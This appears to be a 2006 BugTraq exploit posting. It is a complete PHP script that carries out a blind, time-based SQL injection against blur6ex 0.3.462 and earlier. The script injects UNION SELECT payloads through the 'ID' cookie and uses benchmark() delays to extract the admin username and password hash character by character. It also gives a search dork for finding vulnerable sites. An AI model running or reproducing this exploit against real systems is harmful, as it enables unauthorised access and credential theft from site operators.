BugTraq
blur6ex <= 0.3.462 'ID' blind sql injection Jun 12 2006 04:18PM
rgod autistici org
#!/usr/bin/php -q -d short_open_tag=on

<?

echo "blur6ex <= 0.3.462 'ID' blind SQL injection / admin credentials disclosure\r\n";

echo "by rgod rgod (at) autistici (dot) org [email concealed]\r\n";

echo "site: http://retrogod.altervista.org\r\n";

echo "dork: \"powered by blur6ex\"\r\n\r\n";

/*

works regardless of php.ini settings

*/

if ($argc<3) {

echo "Usage: php ".$argv[0]." host path OPTIONS\r\n";

echo "host: target server (ip/hostname)\r\n";

echo "path: path to blur6ex\r\n";

echo "Options:\r\n";

echo " -T[prefix] specify a table prefix different from default (no prefix)\r\n";

echo " -p[port]: specify a port other than 80\r\n";

echo " -P[ip:port]: specify a proxy\r\n";

echo "Example:\r\n";

echo "php ".$argv[0]." localhost /blur6ex/ \r\n";

echo "php ".$argv[0]." localhost /blur6ex/ -Tblur6ex_\r\n";

die;

}

/*

software site: http://www.blursoft.com/blur6ex/

vulnerable code in engine/shards/blog.php near lines 497-500:

...

case "proc_reply":

// In order to set the permissions of the reply it's necessary to know what the parent is

$permissionid = mysql_query("SELECT permission FROM blog WHERE ID=" . $_REQUEST['ID']);

...

'ID' argument in not sanitized before to be used in a sql query,

injection is blind...

this code shows how to use time delays through Mysql benchmark() function,

u can use this technique to ask questions of the target system

and retrieve data from tables

*/

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

}

return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "\r\n".$html;

}

function my_encode($my_string)

{

$encoded="CHAR(";

for ($k=0; $k<=strlen($my_string)-1; $k++)

{

$encoded.=ord($my_string[$k]);

if ($k==strlen($my_string)-1) {$encoded.=")";}

else {$encoded.=",";}

}

return $encoded;

}

$host=$argv[1];

$path=$argv[2];

$port=80;

$prefix="";

$proxy="";

for ($i=3; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

if ($temp=="-T")

{

$prefix=str_replace("-T","",$argv[$i]);

}

}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$admin="";

$j=1;

while (!strstr($admin,chr(0)))

{

for ($i=0; $i<=255; $i++)

{

$starttime=time();

echo "starttime -> ".$starttime."\r\n";

$sql="99999 UNION SELECT IF((ASCII(SUBSTRING(username,".$j.",1))=".$i.") & 1, benchmark(50000000,CHAR(0)),0) FROM ".$prefix."permissiongroups WHERE PGroup=CHAR(97,100,109,105,110)";

$sql=str_replace(" ","/**/",$sql);

$sql=urlencode($sql);

$packet ="GET ".$path."index.php?shard=blog&action=proc_reply HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Cookie: ID=".$sql.";\r\n"; //through cookies, log this

$packet.="Connection: Close\r\n\r\n";

echo quick_dump($packet)."\r\n";

sendpacketii($packet);

$endtime=time();

echo "endtime -> ".$endtime."\r\n";

$difftime=$endtime - $starttime;

echo "difftime -> ".$difftime."\r\n";

if ($difftime > 5) {$admin.=chr($i);echo "admin -> ".$admin."[???]\r\n";sleep(2);break;}

if (($i==255) | (eregi("doesn't exist",$html))) {

//debug

echo $html."\r\n";

die("Exploit failed...maybe wrong table prefix");

}

}

$j++;

}

$admin=str_replace(chr(0),"",$admin);

echo "admin -> ".$admin."\r\n";

$password="";

$j=1;

while (!strstr($password,chr(0)))

{

for ($i=0; $i<=255; $i++)

{

$starttime=time();

echo "starttime -> ".$starttime."\r\n";

$sql="99999 UNION SELECT IF((ASCII(SUBSTRING(password,".$j.",1))=".$i.") & 1, benchmark(50000000,CHAR(0)),0) FROM ".$prefix."users WHERE username=".my_encode($admin);

$sql=str_replace(" ","/**/",$sql);

$sql=urlencode($sql);

$packet ="GET ".$path."index.php?shard=blog&action=proc_reply HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Cookie: ID=".$sql.";\r\n";

$packet.="Connection: Close\r\n\r\n";

echo quick_dump($packet)."\r\n";

sendpacketii($packet);

$endtime=time();

echo "endtime -> ".$endtime."\r\n";

$difftime=$endtime - $starttime;

echo "difftime -> ".$difftime."\r\n";

if ($difftime > 5) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;}

if ($i==255) {die("Exploit failed...we have an admin user in 'permissiongroups' table, but for some reason there is not a '".$admin."' user in 'users' one...");}

}

$j++;

}

//if you are here...

echo "Exploit succeeded...\r\n";

echo "--------------------------------------------------------------------\r\
n";

echo "admin -> ".$admin."\r\n";

echo "password (sha1)-> ".$password."\r\n";

echo "--------------------------------------------------------------------\r\
n";

?>

original url: http://retrogod.altervista.org/blur6ex_03462_sql.html

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